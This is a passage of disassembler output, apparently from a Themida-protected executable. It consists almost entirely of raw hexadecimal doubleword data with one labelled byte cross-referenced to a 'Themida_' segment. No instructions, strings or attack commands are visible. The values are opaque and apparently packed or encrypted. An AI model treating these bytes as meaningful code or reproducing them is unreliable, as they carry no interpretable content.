6D615215h, 0FB443215h, 0B1F7EA1h, 2625A8D2h dd 0E7EE550Bh, 73892C6h, 662EB01Ah, 0EF1E3215h, 66883213h dd 6644BE1Ah, 0E3A93215h, 6003344Ch, 14588D75h, 0DD225E38h dd 344310FDh, 661133AFh, 3C5F3315h, 0D14B52EDh, 662DDACAh dd 0C9B93215h, 2739972Ch, 702770F7h, 48108B86h, 6616DA9Fh dd 0EA3215h, 8B77E688h, 778684Bh, 12F5B72Eh, 0E387340Ch dd 66443240h, 64AE3D75h, 0EC113215h, 0A70188CDh, 0ED25200Ch dd 74205790h, 41973D13h, 6883215h, 664435FDh, 0D0D0B115h dd 0AC14743Bh, 669BDB4Dh, 0B8E43215h, 38B33619h, 0F6EE2268h dd 514504A5h, 1975A8A7h, 0DF73536Fh, 99EECDEAh, 6D1FD3Ch dd 45ED95h, 9F0DC294h, 8E940974h, 698E2B61h, 66445690h dd 71A43D15h, 6113215h, 66883FFCh, 871F1A15h, 47181DFFh dd 247171F5h, 0EDEEFE7Ch, 0EDB853D4h, 74139B90h, 6CF85213h dd 0DF883215h, 443C90D9h, 6FFCD508h, 9F9A545Eh, 99336174h dd 4FBBCDEAh, 0E32D69CAh, 6611321Dh, 668AB01Ah, 7243215h dd 63AE3D75h, 113215h, 0E8A9D894h, 6646B61Ah, 7423215h dd 8A940974h, 698E2B61h, 66447690h, 0D12D5215h, 639A3DEEh dd 0DD883215h, 706814FBh, 6DAF3D74h, 8F113215h, 66883213h dd 826FC8EEh, 0E3A9098Ah, 60031434h, 673361ECh, 67443215h dd 0E62D69CAh, 66113218h, 66883AFCh, 0E53BE215h, 49CDED5Ch dd 969409FCh, 698E2B61h, 66447990h, 6628DB15h, 7C1C3215h dd 54731BA6h, 0B4D91E7Dh, 6763B79Eh, 0E51E3407h, 66883207h dd 6641DB75h, 0ECB03215h, 69DFFF42h, 6688329Ah, 35135315h dd 0E161694Ah, 6603DBCAh, 6EE43215h, 77487326h, 660B0491h dd 8AE406C0h, 65C2A547h, 12B0B72Eh, 0E32D340Ch, 6611325Ah dd 6686DB75h, 3D263215h, 8AC7F826h, 37963B37h, 95C14DC3h dd 0C1B8C494h, 0ED433FAEh, 740F1F90h, 61003D13h, 69443215h dd 6622339Ah, 0E671CB15h, 31E972FFh, 0ED6036EAh, 0A2A31629h dd 66113211h, 6681BC1Ah, 0D8243215h, 48A8361Ah, 5D706A45h dd 7FFCCA90h, 50C13D13h, 69223215h, 66113E9Fh, 600A3D15h dd 69443215h, 66223296h, 0F94B915h, 698E200Ch, 66443394h dd 0DC70CE15h, 99EECDEAh, 69D2E53Ch, 66443594h, 67A73D15h dd 93113215h, 9A0D09EDh, 69422B61h, 66220890h, 6603DB15h dd 0BBBC3215h, 2D5ACED6h, 0D4017FC0h, 54604D1Bh, 66BCE8C3h dd 6B91B79Eh, 8F423407h, 66113219h, 965FDB78h, 17213AEBh dd 7E0C822Dh, 99AC6774h, 4F77CDEAh, 5DBD6FFAh, 7F573690h dd 78943D13h, 9E883215h, 4B0DB79Eh, 9ADA3407h, 99EE8946h dd 0B9A1CDEAh, 6643DB4Eh, 467F3215h, 0E98BAAA0h, 660D0942h dd 69422B60h, 66224790h, 0ED1E5215h, 66883217h, 0E24BCC9Eh dd 66223211h, 5ED48C73h, 0A735B174h, 66422033h, 6676B71Ah dd 77F83215h, 85883215h, 78187B3Bh, 7462AA3Eh, 58B416AEh dd 26F7A528h, 40D9B79Eh, 0EE2D3407h, 66113212h, 6689B91Ah dd 30BD3215h, 6F4C34ABh, 58FFB330h, 0E7C7ED14h, 336832DBh dd 63C4F318h, 2F69FC94h, 88096245h, 5CA848B1h, 0C709F494h dd 913808FBh, 0DB0BCE4Bh, 60562264h, 24A63D15h, 6113215h dd 0C3B68B73h, 664422FCh, 3FAD8E15h, 0E4255E1Ch, 61761B49h dd 130D9BCBh, 0E319530Bh, 60084799h, 6693B71Ah, 0EDBC3215h dd 742F5390h, 629A3D13h, 6883215h, 3625F99Eh, 99DDCDADh dd 3ED61BEAh, 0F735B1EDh, 66422000h, 67DEB61Ah, 74F83215h dd 56883215h, 434319EEh, 0F318B998h, 53EFD5E8h, 5F471FD1h dd 7FF9B190h, 66242012h, 67C9B61Ah, 0E1873215h, 66443200h dd 662ADB75h, 50023215h, 0FF547A2Bh, 0E84B5C74h, 66223215h dd 16940974h, 698E2B60h, 66440F90h, 0D142CA15h, 661CDA31h dd 946D3215h, 0ED87206Dh, 0F6514875h, 69F3B591h, 6688329Fh dd 0ED256815h, 7401F790h, 0EC1E5213h, 66883216h, 9F851Ah dd 788BAAFh, 99EE8B44h, 0A9A1CDEAh, 0E37FCE4Ch, 603B4795h dd 663CB71Ah, 0ED743215h, 7474EB90h, 61A63D13h, 69113215h dd 6688339Dh, 0D812CB15h, 141D5F04h, 0E713D4D4h, 9B3C71FBh dd 38B333DDh, 6623B61Ah, 5DED3215h, 7FFD4690h, 21C13D13h dd 69223215h, 66113396h, 0E303C715h, 605622C4h, 66223FFCh dd 309A2B15h, 70A3EE67h, 677CB7Eh, 0DB775147h, 76C6668Ah dd 9309E7E2h, 896C9974h, 67FDD14h, 661AB01Ah, 63603215h dd 0FC443215h, 0CEA78702h, 7EAF544Eh, 0E3B35384h, 605D4791h dd 660FB71Ah, 0E11E3215h, 6688321Dh, 0A0F33D75h, 7FD8D1Ah dd 48E8B79Eh, 6C613407h, 0E0443215h, 0FD9707DCh, 0CD0C0C90h dd 99306272h, 4FBBCDEAh, 5DDA6AD2h, 7F64BA90h, 5E0D3D13h dd 6443215h, 66223CFDh, 0E6716315h, 0C38C52E0h, 651ACDCBh dd 17D6BCh, 39C8BCACh, 19278D73h, 3BC1B974h, 6242035h dd 0C2B973h, 0FFFAFA94h, 99FC6274h, 4FDDCDEAh, 5DE96AD2h dd 7FFD4A90h, 51C13D13h, 69223215h, 66113695h, 0A4035215h dd 33C1B974h, 8F24201Bh, 66113218h, 0CAB04F63h, 56DE3909h dd 1992FDBBh, 67A863B6h, 67883215h, 69246BDAh, 66223193h dd 959A5415h, 0E3B353ECh, 605D4769h, 663EB71Ah, 0E71E3215h dd 66883212h, 6645BF1Ah, 0EDD73215h, 740BDB90h, 910FC713h dd 0E145F496h, 0DBA1CEE2h, 6003350Ch, 970C3D15h, 6944321Dh dd 66223391h, 0E32AC715h, 6091471Dh, 6606B71Ah, 77CB3215h dd 56113215h, 0BDAE83E5h, 4F0EF731h, 0F5CA14F9h, 898C711Eh dd 7EC9B79Eh, 63AD3407h, 0D6223215h, 762C53F3h, 66898C43h dd 91453215h, 662CDB4Bh, 0BC083215h, 0B035C78h, 0AF506480h dd 5B32790Eh, 138DB72Eh, 0E387340Ch, 6644325Ch, 6623B31Ah dd 0EDE93215h, 74AE9F90h, 0E04BCB13h, 66223212h, 6610B61Ah dd 36743215h, 1425D3ADh, 43FAC50Eh, 34EA2E5Eh, 9780E818h dd 7A981F50h, 0A10B77ECh, 0AE9A524Dh, 752B973h, 66443AFCh dd 5419715h, 461C8914h dd 6A0D0990h, 69422B60h, 66225590h, 661DDB15h, 5DC83215h dd 0AEAF0B58h, 89203527h, 0E91EDA3Dh, 6688321Bh, 66443BFCh dd 4676E415h, 1DD27017h, 0E303D41Bh, 60561904h, 662226FCh dd 5267D315h, 0FFAF7C9h, 64BDDAC9h, 0D2907374h, 5027495Eh dd 93E8522Eh, 87FA5474h, 0A91353DDh, 0A920CB24h, 8F47B554h dd 66443219h, 0F421ABCBh, 3662880Eh, 2F05F129h, 1354B72Eh dd 0E32D340Ch, 66113257h, 418275h, 7E239ACh, 7C97B79Eh dd 34E43407h, 19936BAFh, 84A6B350h, 0E766890Dh, 2007B3E7h dd 6262F35Ah, 94C5E8E2h, 996A1D00h, 64BE514h, 668834FCh dd 3DE33D15h, 0D9CFADD3h, 33F6AE29h, 0E3B3C774h, 605D4701h dd 6675B71Ah, 77F83215h, 883215h, 0EE7B0C82h, 0F6512AAh dd 0B24F648Ah, 18CB64AFh, 664420FCh, 21D7A315h, 55903B71h dd 8C32321Dh, 0B38EB1BFh, 0ED112A23h, 74386B90h, 8A09CB13h dd 66443211h, 99060E9Ch, 8F4E1611h, 66883204h, 19B4ECA9h dd 192281F6h, 1EAC3566h, 3E218DD2h, 7EC10952h, 69242B60h dd 66116390h, 6683DB15h, 0B20D3215h, 306F34DAh, 67716AA9h dd 0A735B10Fh, 66422033h, 6616B71Ah, 0EC1E3215h, 6688321Dh dd 6646B81Ah, 7423215h, 7C3CB79Eh, 77613407h, 0CA443215h dd 4A384EB5h, 7D0EA922h, 5CFFA464h, 89674ACCh, 57E503EDh dd 26D603EDh, 0E3B3CA82h, 605D4709h, 6608B71Ah, 61F83215h dd 0E7883215h, 0EB21DC3h, 0E3A9CCA5h, 60031314h, 66883BFCh dd 1A928E15h, 4A49C965h, 0DC43D323h, 9977CDEAh, 9A1EE53Ch dd 1302B72Eh, 0E31E340Ch, 66883245h, 0A7F9B1EDh, 66242033h dd 6653B71Ah, 9A703215h, 6655B79Eh, 0E82D3407h, 6611321Bh dd 66883BFCh, 3D561215h, 0BB34B796h, 0D8474DE8h, 9977CDEAh dd 691AC53Ch, 66222597h, 77993D15h, 8F883215h, 66443219h dd 643E27FFh, 651E0F73h, 4B48A57Dh, 1360B72Eh, 0E32D340Ch dd 66113226h, 6683B61Ah, 60AD3215h, 87223215h, 351A31F5h dd 7F0DB932h, 8F42200Ah, 66223218h, 42090328h, 0C83E4035h dd 948D6F60h, 679C6441h, 67113215h, 5D746CE2h byte_5C2208 db 90h ; DATA XREF: Themida_:00553094o db 1Ah, 31h, 7Fh dd 42A73D13h, 93113215h, 76B9B79Eh, 243407h, 0DFADEB94h dd 37706D42h, 668833ACh, 3F8B3315h, 93E6B275h, 8A61D1ACh dd 5D74531Fh, 7F310290h, 27A73D13h, 69113215h, 6688339Ah dd 0DBC7CB15h, 603014D4h, 4B943D15h, 6883215h, 9C528DEDh dd 0ED432B59h, 74312390h, 0E7EE5213h, 0D56D39D7h, 0DF735326h dd 619657E5h, 2FC1E3E2h, 8FC5EBE2h, 61A557E1h, 9A48FD3Ch dd 13A4B72Eh, 0E34B340Ch, 66223231h, 0A7ACB1E9h, 668E2033h dd 6652B71Ah, 0EC2D3215h, 66113214h, 0A70DB9E9h, 9F422013h dd 99DD1F82h, 9386CDEAh, 13BCB72Eh, 0E34B340Ch, 6622322Bh dd 6619B71Ah, 0E1873215h, 66443217h, 0E3A95375h, 60031140h dd 6680BB1Ah, 0E04B3215h, 66223217h, 0DC435375h, 66883214h dd 8F1EE514h, 6622321Bh, 0B2DAB243h, 16337C84h, 74BC22B5h dd 0E3196856h, 6008472Dh, 66CBB71Ah, 8F243215h, 66223213h dd 0E4579769h, 6161A2D3h, 0A7443215h, 440840Bh, 0ED701083h dd 7491A790h, 6AC03D13h, 69223215h, 6611349Eh, 660A3D15h dd 34443215h, 662233AFh, 3CC63315h, 0D1875275h, 7BC53C2h dd 5AA709EDh, 69172B60h, 66880690h, 6EAD5215h, 1C223215h dd 491C0AD1h, 70372F2h, 772DB79Eh, 0E32D3407h, 66113214h dd 993062E0h, 4FBBCDEAh, 0E7426AD2h, 5E6C0EFBh, 0E7EE6147h dd 39050BC2h, 26A70974h, 69172B60h, 66880390h, 6AC53D15h dd 69223215h, 66113496h, 66063D15h, 0ED443215h, 74268390h dd 0B996CA13h, 9977D994h, 0B9C3CDEAh, 662ABB1Ah, 0E01E3215h dd 66883217h, 0E37F5375h, 603B4751h, 663AB71Ah, 68613215h dd 0C4443215h, 0AFC36A66h, 0C251C89Bh, 854D1DEEh, 43C1B964h dd 69242004h, 6611339Eh, 0DFD9CB15h, 99BBCDEAh, 67BFD3Ch dd 2E940974h, 698E2B60h, 66441C90h, 0E3A9CA15h, 600336E4h dd 668FBF1Ah, 0EF4B3215h, 66223214h, 67AA61E0h, 67883215h dd 6AAD69CAh, 0C1223215h, 0DD1D3146h, 0BDE5FB7Bh, 5D8C1070h dd 7F577E90h, 4D943D13h, 69883215h, 66442691h, 662DDB15h dd 7DA83215h, 917F0Eh, 5302EC0Fh, 70725F89h, 0A794B9E7h dd 938E2000h, 99BB8A45h, 0A10BCDEAh, 0E32ACA4Dh, 60914745h dd 6668B71Ah, 0EDDE3215h, 7437E790h, 6686DB13h, 0A4B23215h dd 77368CE8h, 62CBF449h, 0A74797C2h, 66458C43h, 91233215h dd 3842524Bh, 0A53F3D43h, 0E37F534Ch, 60301F48h, 6622B71Ah dd 69E83215h, 66443492h, 66A23D15h, 0ED113215h, 0E30353EDh dd 60563688h, 679F67E0h, 67113215h, 68616FFAh, 84443215h dd 0F236617Fh, 0F8618B64h, 89229C30h, 32C10915h, 69242B60h dd 66110390h, 0E303CA15h, 60561BF8h, 0BDA35475h, 8F717BBDh dd 66883205h, 82E360C9h, 0DD075F4Eh, 1FB753B4h, 98A68C22h dd 725F09Fh, 99DD8F40h, 8938CDEAh, 0E3B3CA48h, 605D4785h dd 6682B71Ah, 0E51E3215h, 66883200h, 664422FCh, 0EA89F615h dd 470C3E98h, 43031474h, 5F376B5Ch, 6631DB34h, 18BA3215h dd 0D9CAD456h, 8B33BDAFh, 6844E7AFh, 805DD5FEh, 0FE35B110h dd 66422B60h, 660BB71Ah, 0E41E3215h, 6688321Dh, 6646B81Ah dd 7423215h, 63988F96h, 69883407h, 66447791h, 6EA63D15h dd 6113215h, 6688BA1Ah, 0ED253215h, 7412F790h, 0DB44CA13h dd 591C44DDh, 93C5E7E2h, 58500252h, 0DF7EDF94h, 8989CC0Ch dd 6650DB48h, 2F823215h, 172A361Bh, 244511A3h, 1C847CC1h dd 2F6B87C6h, 0E32AD040h, 60914781h, 6618B71Ah, 9FD73215h dd 13898F96h, 6988340Ch, 66441890h, 6625DB15h, 93463215h dd 0F516C438h, 0EFF9B174h, 66242010h, 6625B61Ah, 6A613215h dd 73443215h, 301AD582h, 0DAACD124h, 0EDF572FCh, 7442FF90h dd 0DB77CB13h, 66113214h, 8FD5DD14h, 6644321Bh, 3E63F5FFh dd 39C33CFAh, 0A75D1535h, 0E37F727Ah, 603B474Dh, 6639B71Ah dd 0ED743215h, 745EFB90h, 0A9A95213h, 7D25E194h, 33E92D02h dd 99BBCDA8h, 3BCD1BEAh, 66113BFCh, 34513615h, 0C49EBE17h dd 0E31982D3h, 60084749h, 66BCB71Ah, 68AD3215h, 48223215h dd 0D599A1E2h, 0F8EE5782h, 6373F456h, 6BA7B974h, 6172006h dd 668BB81Ah, 0ED223215h, 91E4B2DFh, 67AB6074h, 67883215h dd 0ED2468C2h, 0E31953E6h, 60084775h, 66C0B71Ah, 0EDB83215h dd 742F9B90h, 6605DB13h, 3C813215h, 2E7F2FDBh, 23AE31C6h dd 0A3B5F865h, 0AFDD5DFh, 0D8120C15h, 0F0D4DFFh, 2816D4D4h dd 0E7CED4C4h, 0E65232E3h, 38D51BC5h, 661DBC1Ah, 61613215h dd 65443215h, 12E00548h, 0E32A0BB6h, 60914771h, 6671B71Ah dd 0EDDA3215h, 741CCB90h, 6A053D13h, 6443215h, 64E78C73h dd 1DC4DC94h, 69E96123h, 66443490h, 7425215h, 3470DD9Fh dd 668833AFh, 3C933315h, 6623B41Ah, 5DE43215h, 7FFD5A90h dd 59C13D13h, 69223215h, 6611239Bh, 6D033D15h, 8F443215h dd 66223213h, 0CED21B1Eh, 0E3037E5Bh, 6056349Ch, 999F67EDh dd 4FEECDEAh, 75616FFAh, 78443215h, 48A02CE0h, 536F778Fh dd 2680C151h, 0DE2616B7h, 0E319E868h, 60084779h, 66EAB71Ah dd 69243215h, 6622369Fh, 13A95415h, 669CDB21h, 199F3215h dd 0B69181F1h, 8A323Ah, 0A2660C71h, 9DE61379h, 0ED43F6A8h dd 74097390h, 61053D13h, 6443215h, 0ED44B2A6h, 0D84753DAh dd 9977CDEAh, 61AC53Ch, 6B4FE094h, 75F82EB0h, 10883215h dd 4C1313EEh, 0A359E20Ah, 79D8D232h, 3560D4ACh, 93256E07h dd 0E22DCD1Eh, 66113201h, 6E33CA75h, 71A14F3h, 99CFD9FCh dd 67953DEAh, 9E883215h, 7D41B72Eh, 0E32D3407h, 66113220h dd 0B80DBFE0h, 9A422B08h, 662221FCh, 6CAEE015h, 0F3718716h dd 7C311FAFh, 532C35Eh, 0BD7498C9h, 996581FCh, 664FDBEAh dd 0E8323215h, 2401736h, 8CB7E276h, 4BC10968h, 69242036h dd 66115D90h, 75605215h, 0E8443215h, 0A68F6FE4h, 78B70F6h dd 448EA8BCh, 0CB2280BEh, 61CAC64Eh, 0C5113215h, 0B1CCBB1Ah dd 381C65F0h, 0E5436842h, 7F658AA8h, 0E3873313h, 6644322Dh dd 662ABF1Ah, 69713215h, 6688329Fh, 0E3C95315h, 667B3972h dd 661138FCh, 0A0310D15h, 2B1AE48h, 8F1A59D2h, 99EEDF2Dh dd 69228275h, 66443497h, 66A13D15h, 7113215h, 1240B72Eh dd 0E24B340Ch, 66223229h, 6605B31Ah, 0E3873215h, 6644321Bh dd 66223BFCh, 3C6C0A15h, 8FCAD2CFh, 0E37FCE8Bh, 603B46D9h dd 663AB71Ah, 76613215h, 0AE443215h, 5FAB6817h, 0CF8AEBFAh dd 0C2254B19h, 9336E6C3h, 99CEE9FCh, 661ADBEAh, 0A62E3215h dd 0B2608E77h, 7099266Dh, 0DF4065EEh, 59AA53D9h, 0E743DBD4h dd 0CA424DFCh, 8F90736Bh, 0B4FE03Bh, 0E71DFD9Ch, 742924E2h dd 0E7C6C50Dh, 0B9C829FAh, 7B83B325h, 0EF1EC54Ch, 0EE1E6DEBh dd 6688321Ah, 664438FCh, 0F73CD015h, 0FC009845h, 0E55C824Bh dd 0E34B33EBh, 662232EAh, 6602B21Ah, 68613215h, 67443215h dd 19C8E384h, 7A58DC28h, 0C900FDE3h, 0DAC1098Ch, 69242B61h dd 66117190h, 74003D15h, 8F443215h, 66223218h, 0C65AB929h dd 24A750B0h, 179812FBh, 0A2A7BF04h, 69116A92h, 66882796h dd 6654DB15h, 49C13215h, 3E619188h, 3DEAEBA1h, 8AA1F826h dd 7FCB3B37h, 6EECDF9h, 74B851Ah, 1284B72Eh, 0E32D340Ch dd 6611323Eh, 5C0DBFE9h, 8F446A9Dh, 66223212h, 0BABDCA1Fh dd 8F1BD848h, 99BBD9E5h dd 60A93D75h, 69113215h, 6688329Fh, 0BCC55415h, 5D43D69Bh dd 7F65F690h, 320D3D13h, 69443215h, 66221D93h, 68F85215h dd 7C883215h, 557D77F2h, 0EA9A9935h, 4D86FBFDh, 669CDA96h dd 0CA4C3215h, 0A8FCA019h, 77E0C84Ch, 0FF0BFD62h, 1327C5EBh dd 77D7EE5h, 0EE6EB798h, 6361324Dh, 0E8443215h, 0AFFC15D6h dd 99FAB5FCh, 668DDBEAh, 10AA3215h, 36B2B61Eh, 66FC8C43h dd 12890C19h, 3E1A3631h, 6A22DF38h, 679F3D2Bh, 93883215h dd 31C88B44h, 0DE722565h, 44353237h, 8585E2E2h, 2E7F1556h dd 1675BE10h, 3ED01B02h, 8FD1FC9Ch, 66443212h, 2783A944h dd 6DE86EE7h, 610D3DE3h, 9E443215h, 99C92BFCh, 0E741CBEAh dd 14881621h, 52CF64D5h, 62E6B131h, 1411C494h, 0EF7164D5h dd 744883A0h, 0D3ABC713h, 60031228h, 8FB6B2E0h, 66B3B71Ah dd 34DA3215h, 661133AFh, 997A3315h, 8F1E6D27h, 66223219h dd 4B02B2DBh, 51F79661h, 6933E3E1h, 7504F594h, 91100450h dd 75AE8F40h, 896D0450h, 715248h, 324FC294h, 7E8604Bh dd 0EF16534Ah, 0EDF1BBE7h, 0A2921601h, 730C3D11h, 8F443215h dd 66223205h, 0D42486B1h, 59132595h, 3191C71Ah, 7BDCCD2Bh dd 0EF15DE96h, 6E311619h, 0E717AE4Bh, 556A75F4h, 53D8B32Bh dd 0E7AE516Fh, 78056FFCh, 4EE3B350h, 671F9912h, 6A616BDEh dd 0D7443215h, 0A8409816h, 6F067CE0h, 8F13D977h, 6644321Ah dd 1BC570EBh, 0C641D5EAh, 0C4514625h, 5D171856h, 742E83A8h dd 5E933D13h, 9E883215h, 0E04BC92Eh, 66223220h, 6638B61Ah dd 8EE83215h, 6644321Ah, 9D206926h, 7675C2C8h, 6701C0A9h dd 383B3474h, 66223FFCh, 4C292915h, 0BA7D96EFh, 914D8021h dd 8F43A011h, 99EEDBE3h, 335B9E0h, 69422037h, 66223E9Fh dd 609A3D15h, 69883215h, 66443299h, 67AA3D15h, 9E113215h dd 7859B7D2h, 66443407h, 423215h, 0CA0CEB94h, 668839FDh dd 7A2E3715h, 72A5E47Ch, 5AABC89Dh, 3E77851Ah, 61AD5274h dd 92223215h, 5559A927h, 0D301D914h, 60561228h, 0D0888875h dd 7714717h, 740B3D74h, 8F443215h, 66223218h, 0D2FB361Ah dd 72B3CBB6h, 3733E109h, 1EBFBF73h, 6172BECh, 668821FCh dd 32E37015h, 0F61317D6h, 24FAD907h, 5F6F9C7h, 19127CA7h dd 3FC08243h, 8FC2CD74h, 66883205h, 742EE989h, 0BD7A2F38h dd 382D6F33h, 0A0E46137h, 0E24BF21Eh, 66223237h, 661137FCh dd 3A8A3015h, 0F8AD3DBCh, 69223215h, 66113F92h, 6680DB15h dd 864C3215h, 0EB053AF5h, 0FB9CFD10h, 609FB994h, 66443DFCh dd 24C2E815h, 0CDEDACFCh, 6B600291h, 0FBADB1CAh, 0E52DE1EAh dd 99EECD47h, 66883BFCh, 5E85A615h, 0ED6C1375h, 0E01E9398h dd 6688321Dh, 6646B31Ah, 7423215h, 462C879Eh, 0E83407h dd 853CF294h, 0B797BB74h, 6917200Bh, 66883992h, 0E74B5215h dd 66223215h, 7E9B973h, 0F2D5AF98h, 75AD340Dh, 0E6223215h dd 0D89429C6h, 516CB179h, 0B8BB6CD6h, 0B553D44h, 0B5EED0DCh dd 75305475h, 0A4CF54AFh, 0D7A7B974h, 6172019h, 37018873h dd 6644B01Ah, 0EF433215h, 74310F90h, 6E9CA13h, 664439FCh dd 28E0B315h, 0A98B6AB3h, 0F27D7EF9h, 1E318A73h, 8E1CB274h dd 66DEB71Ah, 6A613215h, 1D443215h, 6AC3D67h, 8549A732h dd 0E51EF24Fh, 745D0BA8h, 0E22D3213h, 661132A4h, 0D3D954E0h dd 8CCC60FCh, 78E29Dh, 679C3D4Ch, 9F883215h, 664EDBBFh dd 95413215h, 375A086Ch, 9F458AC7h, 4240B943h, 8F26F696h dd 66113210h, 78105B43h, 67CF3D9Ah, 9E223215h, 0E7167D10h dd 37701B28h, 3E768FACh, 0D8CBB355h, 2701F20Bh, 6E61B35Ch dd 0E712FF12h, 0D72B83FCh, 91F8B371h, 4FBEAAEEh, 75AD6BDDh dd 90223215h, 0B0198B0Ch, 5CCDAC05h, 3F7EC59Ah, 8591A61Bh dd 0D84752D2h, 51C80BB8h, 3E82B35Bh, 4FEA8DD3h, 0CDE46CE5h dd 669DB21Ah, 76AD3215h, 34223215h, 0B10D4A19h, 95F83618h dd 48DDFE1h, 8FE39E3Eh, 661133FAh, 1115BFE9h, 8F422BCAh dd 66223204h, 0BF9CE127h, 718EFB7Ch, 0E52C9D84h, 0A5039D15h dd 8FC2CDF5h, 6688321Fh, 0D6FEB401h, 0E1725625h, 0FB9C4CABh dd 6091C659h, 8F97CDE0h, 66223212h, 78F8F0FFh, 6DCD2C3Bh dd 61C13DD5h, 9E223215h, 66111FFCh, 0E30BCE15h, 60561228h dd 0BDA35210h, 2BD2050Ah, 0A46153EDh, 6BBCDEBh, 6620B01Ah dd 919A3215h, 0E78753ECh, 66443213h, 67D6075h, 0FB9C5374h dd 6091C486h, 6655BE1Ah, 0E72D3215h, 6611321Eh, 668834FCh dd 1A550615h, 99802C00h, 0A61AC7C6h, 6685B71Ah, 8FB13215h dd 66223224h, 6610B91Ah, 36703215h, 664436ADh, 91E0B315h dd 6743AB1Bh, 9162B3D7h, 3E16AB1Bh, 64A73D75h, 6113215h dd 0ACB38A74h, 8F257F04h, 66223306h, 0E78CBFE0h, 8F8E259Eh dd 66443201h, 0CE8564F3h, 6C8E9F37h, 0F4133EF6h, 2BC9CDB6h dd 0A926205Eh, 0E51EE1EAh, 66883228h, 6655BF1Ah, 0E02D3215h dd 6611321Eh, 668834FCh, 0DF89CA15h, 0ED4AC131h, 74310FA0h dd 0EDE8C713h, 0A8CF54DAh, 4835DB74h, 69713215h, 6688399Dh dd 6642DB15h, 0B20E3215h, 41E1A415h, 5B05B974h, 8F422035h dd 66223212h, 5625F8F5h, 0EFB25B2Dh, 74640FA0h, 0DD71CB13h dd 52A24ABCh, 915BC55Eh, 919FC5CEh, 0B4E1B3CEh, 4F0EE5F0h dd 97A169CCh, 383FF394h, 35D7669Eh, 661132AEh, 6163B315h dd 4F507B50h, 61E1B3DEh, 0EF057B50h, 69E869CCh, 0E722E5AAh dd 7501CE2h, 34C8946h, 0B88926B8h, 0E78A1B4Eh, 0CB476FFBh dd 79983D01h, 69883215h, 66442B9Ch, 6636DB15h, 1A9A3215h dd 0F592DFC2h, 260DE828h, 32797F08h, 0D769D542h, 0C27BA32Bh dd 9B0BDBEDh, 6942CDEAh, 66113E93h, 668EDA15h, 9DE43215h dd 9A03CC2Eh, 0EB70CE4Ah, 7E1E4488h, 0DC225213h, 0DD442CB7h dd 99702829h, 0D18752C6h, 62C03DE5h, 223215h, 78C6EACh dd 0EF8CDE96h, 931C1629h, 4447B73Eh, 0EFED3407h, 749A9F90h dd 0E3CFCB13h, 60301070h, 661DBB1Ah, 0EB873215h, 66443213h dd 6622BD1Ah, 34E43215h, 0A409D09Ch, 66443211h, 0E126D896h dd 0EF4D1601h, 68611629h, 0A1443215h, 2B34C713h, 0AA0096F3h dd 94C7ACAFh, 55C05ABFh, 62AB3215h, 0B99A5231h, 96373D75h dd 725CB9Eh, 0FEBEBF98h, 99E8340Dh, 60093DC4h, 6443215h dd 92A85375h, 8394B974h, 9E8E2038h, 48B5AE9h, 62AB3215h dd 6AF85231h, 76883215h, 0CA7BB07Ch, 5C3DC6E0h, 402D24h dd 7B3FBAAh, 6645BD1Ah, 37DB3215h, 0A790D39Ch, 66883211h dd 0E140DB96h, 0EF7E1619h, 0EDE81629h, 74AA5790h, 664BDB13h dd 0F3D93215h, 34D2B9C1h, 4B8BF0E1h, 0D70A5531h, 6D4ACE21h dd 0EF113259h, 0E81611h, 0A8A6D294h, 6631DB42h, 0C4553215h dd 0B0326615h, 0ADC7D307h, 0C9EDA9Ch, 5B9CDDF8h, 0EBE96971h dd 7EDE1798h, 36D75213h, 19FAB373h, 99E96AA9h, 67CA3DC4h dd 9F223215h, 62906243h, 67887D31h, 88C56C15h, 6623325Ah dd 694FC09Ch, 6688209Bh, 6649DB15h, 2FD3215h, 0A6FED834h dd 0ABF70800h, 3665C473h, 0F9063694h, 3F532879h, 263D8D42h dd 290358B3h, 646EFD94h, 0A1907DB5h, 55E85EF0h, 12C9F594h dd 91A34606h, 33117AE5h, 9ED7CB3Ch, 66443FFCh, 846CF415h dd 781BA2CCh, 3C6EB91Ch, 0EB6F5360h, 60301FF0h, 660EB31Ah dd 8FE83215h, 66443201h dd 90C62636h, 3A243412h, 0EFF8E85Fh, 997FE802h, 8F923BC0h dd 214A8873h, 1F35B174h, 66422037h, 66BCB61Ah, 0EB1E3215h dd 66883206h, 66443CFCh, 77FBD715h, 0CE23093Ah, 0F773B492h dd 0ED264B1Eh, 740BCB90h, 6602DB13h, 0BB643215h, 28BF971Eh dd 7CEE0E8h, 0CED21B1Eh, 0D0B77E5Bh, 1FC119C4h, 6242037h dd 9F9A5475h, 5DE953E0h, 37C23DD4h, 6223215h, 66113CFCh dd 21DB9915h, 930483B7h, 0C14F2F35h, 690E9E9Ch, 0EDE9EDAAh dd 744A7B90h, 0EB2D5213h, 66113217h, 65E9F49Eh, 74664B90h dd 6625DB13h, 396A3215h, 0C40B3006h, 0A7C1BB40h, 624200Ch dd 0D4712EAFh, 6F37546Fh, 0D9AD5322h, 9A223214h, 0E7F0BB44h dd 668836D4h, 62ADB315h, 0E1223215h, 0EF4D1619h, 0D6E81619h dd 0BEF33D1Bh, 0A8AB6474h, 529AC29Ch, 624CB331h, 8F443215h dd 66223201h, 5BEA1023h, 338B5827h, 0D92D1571h, 9CEEE30Eh dd 9C577FE3h, 99778C43h, 9645CDEAh, 6974524Bh, 6611329Fh dd 0D4E86B15h, 664ADA34h, 48B3215h, 0FA67AB5Eh, 0C51CCCF1h dd 0CA4FEC8Ch, 3543534Ch, 661ECDAEh, 0ED503B15h, 0A2C51609h dd 66223211h, 66113FFCh, 8CCBD015h, 676B858Ch, 0AB20DFDAh dd 0E741D1DEh, 66891611h, 61C3215h, 662238FDh, 0FBB12115h dd 1F8C06ABh, 3446ADE0h, 0E7446B4Dh, 7A36FD7h, 4F71B79Ch dd 0E44B3407h, 66223212h, 8B568975h, 67E94B68h, 745ACB90h dd 6AA13D13h, 69113215h, 66883494h, 66CE3D15h, 0A1223215h dd 74334B90h, 66883213h, 664EDB15h, 0B1F73215h, 384F32D9h dd 36A9B8B9h, 664CB31Ah, 0E52D3215h, 66113217h, 26E25375h dd 664439FCh, 0D0466C15h, 0B6A3D78Dh, 0AA0D63A1h, 6654327Dh dd 33DECE15h, 0A390D79Ch, 66883211h, 0E140DF96h, 0EF7E1639h dd 711619h, 0ED1A35ABh, 662E53EEh, 6623B11Ah, 6ED3215h dd 694FB973h, 66443190h, 979D3D15h, 0DB84CD74h, 8F8E2037h dd 66443212h, 0E542F871h, 996EEF6Dh, 74BC9F80h, 67C53D13h dd 9F223215h, 6858B79Ch, 9E743407h, 7F85B79Ch, 75CB3407h dd 0F0113215h, 8007F163h, 0F91F3C83h, 98930A3Dh, 